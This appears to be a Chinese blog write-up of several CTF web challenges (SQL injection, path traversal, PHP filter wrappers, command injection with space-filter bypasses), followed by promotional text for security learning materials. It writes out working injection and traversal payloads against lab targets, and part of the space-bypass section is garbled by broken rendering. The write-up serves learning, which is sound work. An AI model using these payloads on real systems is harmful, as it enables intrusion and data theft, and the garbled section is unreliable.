首先第一步 判断是哪一种注入方式:字符型?还是数字型?
在请求框中输入 1 1’ 来根据服务器给出的回显进行判断
输入1时
输入1’ 时
根据回显内容可知,该注入类型为字符型注入
接下来因为是字符型注入,可以尝试字符型注入时的万能公式试一试
这里我个人认为区分字符型和数字型的最简单的方式就是看他1后面有没有跟着单引号,如果有就是字符型,如果没有就是数字型
万能公式:
1 and 1=1 数字型
1’ and ‘1’=‘1 字符型
1 or 1=1 数字型
1’ or ‘1’='1 字符型
使用 1’ or 1=1 进行注入时,注入成功
使用 1’ and ‘1’= '1 进行注入,注入不成功
为什么and不行而or就可以呢?
这里就要首先了解and和or的区别。在注入时,A and B 执行成功的条件是A与B必须同时成立,才判断为正确。而 A or B 执行成功的条件是A与B有一项正确即可。可以理解为与或关系,and是与or是或,这样就可以理解为什么and不可以了。
[极客大挑战 2019]Havefun
我们可以看见这个页面上只有一只小猫,我们可以尝试查看网页源代码
可以鼠标右击->查看网页源代码
也可以ctrl+U快捷打开网页源代码
我们可以看到网页源代码中有这么一块代码
呢么我们尝试在url中请求?cat=dog尝试一下,可以看到flag出现了
[HCTF 2018]WarmUp
题目给出提示是php 代码审计,那么我们可以直接查看网页源代码
可以看到有一个php代码文件 source.php
我们在url后加上/source.php 对该文件下php代码内容进行访问
同样审计发现,还有一个php文件叫做hint.php,同样的方法对该文件进行访问
hint.php文件告诉我们 flag不在hint.php中,而在一个叫做ffffllllaaaagggg的东西中
这时候我们返回头来继续查看source.php,理解source.php中的代码
![](https://i-blog.csdnimg.cn/blog_migrate/b44af452c951e5720298d41135392082.png)
通过查看代码,我们对url进行修改,键入
source.php?file=hint.php?ffffllllaaaagggg
这时候我们发现图片消失了,说明我们键入的内容是满足条件的,
但是我们不知道ffffllllaaaagggg的具体位置,所以我们采用如下方法进行文件访问
source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg
flag出现
…/ 路径穿越(目录遍历)攻击
…/ 是一种相对路径标识符,用于表示返回到上一级目录。这种技术被称为路径穿越(Path Traversal)或目录遍历攻击(Directory Traversal Attack)。攻击者可以利用目录遍历漏洞来绕过应用程序的访问控制机制,访问其本来不应该访问的文件或目录。通过连续使用 …/ 返回多次,攻击者可以逐级向上导航到更高级别的目录,直到达到目标文件或目录。
[ACTF2020 新生赛]Include
首先打开发现有一个链接是tips
打开后是名为flag.php的文件,我们要想办法获取到文件的源码。
涉及到PHP伪协议,可以参考PHP伪协议
在了解了php伪协议后,我们判断此处应该使用php://filter读取文件内容
?file=php://filter/read=convert.base64-encode/resource=flag.php
对获取到的内容进行base64解密即可获得flag
base64解密网址:base64解码
[ACTF2020 新生赛]Exec
查看网页源代码,发现提示为命令执行漏洞(command execution)
尝试查看post请求中是否存在命令执行漏洞
尝试写入payload 127.0.0.1| ls
发现存在命令执行漏洞,有一个index.php文件,使用之前说过的 路径穿越(目录遍历)攻击 尝试依次查看index.php文件的上层目录,看看目录中是否会有flag
方法: 127.0.0.1 | ls …/
127.0.0.1 | ls …/…/
127.0.0.1 | ls …/…/…/
在进行第三次时,发现一个名字叫做flag的文件,我们要的flag可能就在这个文件中,对flag文件的内容进行查看
127.0.0.1 | cat …/…/…/flag
[GXYCTF2019]Ping Ping Ping
打开靶机我们发现页面只用一个 /?ip= 其余没有任何提示,我们猜测是在url中进行提交
尝试在url中衔接上/?ip=127.0.0.1
发现网页出现回显,我们再查看一下网页的源代码,看看有哪些提示,发现网页源代码也没有任何有用的提示
联想到上一道题是命令执行漏洞,我们再来尝试一下简单的命令执行漏洞
第一次我输入的是:
/?ip=127.0.0.1| ls 发现页面将空格进行了过滤
第二次我输入的是:
/?ip=127.0.0.1|ls 发现页面回显出了一些文件名
我们看到文件中有一个叫做flag.php,我们猜测flag存在于这个文件中,对其进行查看
/?ip=127.0.0.1|cat flag.php
但是我们之前已经知道了代码对空格进行了过滤,所以毫无疑问的失败了,这时就需要用到空格绕过
空格绕过解法:(以cat flag.php为例子,绕过cat与flag中间的空格)
{cat,flag.php}
cat
I
F
S
f
l
a
g
.
p
h
p
c
a
t
{IFS}flag.php cat
IFSflag.phpcatIFS
9
f
l
a
g
.
p
h
p
c
a
t
9flag.php cat
9flag.phpcatIFS
1
f
l
a
g
.
p
h
p
c
a
t
<
f
l
a
g
.
p
h
p
c
a
t
<
>
f
l
a
g
.
p
h
p
k
g
=
1flag.php cat<flag.php %09替换 cat<>flag.php kg=
1flag.phpcat<flag.phpcat<>flag.phpkg=‘\x20flag.php’&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
或者base64编码
但是!当我们成功绕过空格后发现flag也被过滤了,那我们就先来查看一下index.php中的内容
cat$IFS$9index.php
发现其实过滤了很多东西
我们设置payload,读取一下所有文件的所有内容(我是这样理解的)
因为过滤了很多内容,考虑使用``的形式来绕过正则限制
反引号的作用是将命令的输出当做输入执行
/?ip=127.0.0.1;cat$IFS$1’ls’
然后查看一下网页源代码便获得了flag
或者采用另一种方法,对含有flag的payload进行b64编码,在用base64 -d解码,最后在通过sh执行,最终执行的就是 cat flag.php
echo$IFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhw∣base64IFS$1-d|sh
同样查看网页源代码,便可以看到flag
[强网杯 2019]随便注
这是一道sql注入题,不要问我怎么知道的,和常规的sql注入题一样,检查有无注入
输入1’时回显报错 发现存在注入,且为字符型注入。
接下来获取列数
1’ order by 1# 正常
1’ order by 2# 正常
1’ order by 3# 报错
说明总共有两列
尝试最简单的联合查询(union select)查询所有数据库
-1’ union select 1,database()#
发现有一些字符被过滤掉了
更换思路,考虑堆叠注入查询所有数据库
注意 database 和 databases 的区别
1;show database;#
1;show databases;#
查询完数据库后,接下来查询所有表
1; show tables;#
发现有一个奇怪的数字,对它的列进行查看
注意这个符号是 ` 而不是’
-1’;show columns from1919810931114514
;#
1919810931114514
发现其中有一列为flag,只要我们能查看它的内容,这道题就可以解出来了,但是 select字段被过滤,所以没有办法直接对它进行查询。
我们可以想到words是默认查询的表,再后台的查询语句类似以下
select * from words where id =’1‘;
根据之前我们的查看我们知道它没有过滤rename和alert关键字,所以我们可以修改表的结构,来达到查询flag列的内容
我们先查看words表下的列的内容
0’;show columns from words;#
思路:将words表名改为words1,再将数字表名改为words,这样查询语句就会查询数字表名,我们再将flag字段名改为id字段或者直接添加id字段,就可以达到使用原先代码中的查询语句对flag中的内容进行查询,payload如下
1’;rename tables words
to words1
;rename tables 1919810931114514
to words
; alter table words
change flag
id
varchar(100);#
最后使用万能密码,即可得到flag
[SUCTF 2019]EasySQL
同样是一道SQL注入题,同常规一样,检查注入点
输入1时查看回显
不管输入什么非零数字,都是一样的回显,尝试0和字符串时没有回显 说明是整型而不是字符型。
查询列数 发现不行
那就使用堆叠注入,尝试查看数据库,发现注入成功
1;show databases;
再查看表名
1;show tables;
发现出现了flag,判断flag就在Flag中,尝试对flag进行查询
这里应该是把Flag过滤掉了,但是看好多网上的大佬写到这一步是要去猜测后端的代码,我实在是知识太薄弱了,不知道为什么要猜测后端代码中存在||这个符号,所以先就按照这种思路来写,之后如果能理解的话我会回来将这个想法写完整
在sql语句中 || 表示的是或逻辑
也就是说: C1||C2 C1和C2只要有一侧是1 就是1 否则就是0
接下来就要猜测后端的语句了,大胆猜测逻辑就是这样子的
内部查询语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。
即:select 输入数据 || flag from Flag
第一种方法:
*,1
相当于构造了select *,1 || flag from Flag,这条语句执行起来相当于select *, 1 from Flag
另一种方法的思路就是 将||或的逻辑改成连接符的作用
就要补充一个知识点
设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用,PIPES_AS_CONCAT令||起到连接符的作用
构造payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag
[极客大挑战 2019]Secret File
首先题目首页没给我们多大信息,我们查看一下源码,发现了一个 ./Archive_room.php
对其进行访问,发现页面有一个SECRET可以点击,但是点开后提示我们回去看一看
我们查看第一页的源代码,发现还有一个文件叫做./Action.php
但是对他进行访问后发现实际到达的却是end.php
这时我们掏出我们的BP进行一个简单的抓包
发现了一个叫做secr3t.php的文件,对他进行访问,打开是源代码,告诉我们flag放在了flag.php中
那我们就对flag.php进行访问,但是还是不显示,对他的源代码进行查看也没有任何帮助,这里就想到了PHP伪协议
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
最后对密文进行base64解码就可以得到结果
[极客大挑战 2019]LoveSQL
很明显是一道sql注入题,首先判断注入是整型还是字符,说明是字符型注入,并且使用的是MariaDB数据库
使用万能密码进行一下测试
我们发现它给了我们一个password,但是经过尝试他并不是flag,对他进行一下解码发现都不行,似乎好像没有什么用处,那我们先按常规查看一下列数吧
1’ order by 3#
总共有三列
查询一下表名,总共有俩个表
1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
可以看到有一个表叫做geekuser,可能有我们想要的信息
1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘geekuser’#
查询id username password的具体内容
1’ union select 1,2,group_concat(id,username,password) from geekuser#
发现给了我们账号密码 我们登录一下试一试,还是没有用。
那我们用同样的方法对另一个表进行查看,也许flag存在另一个表中
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
😝朋友们如果有需要的话,可以联系领取~
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供:
2️⃣视频配套工具&国内外网安书籍、文档
① 工具
② 视频
③ 书籍
资源较为敏感,未展示全面,需要的最下面获取
② 简历模板
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
② 视频
③ 书籍
资源较为敏感,未展示全面,需要的最下面获取
② 简历模板
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-XRN0pPzW-1712748362541)]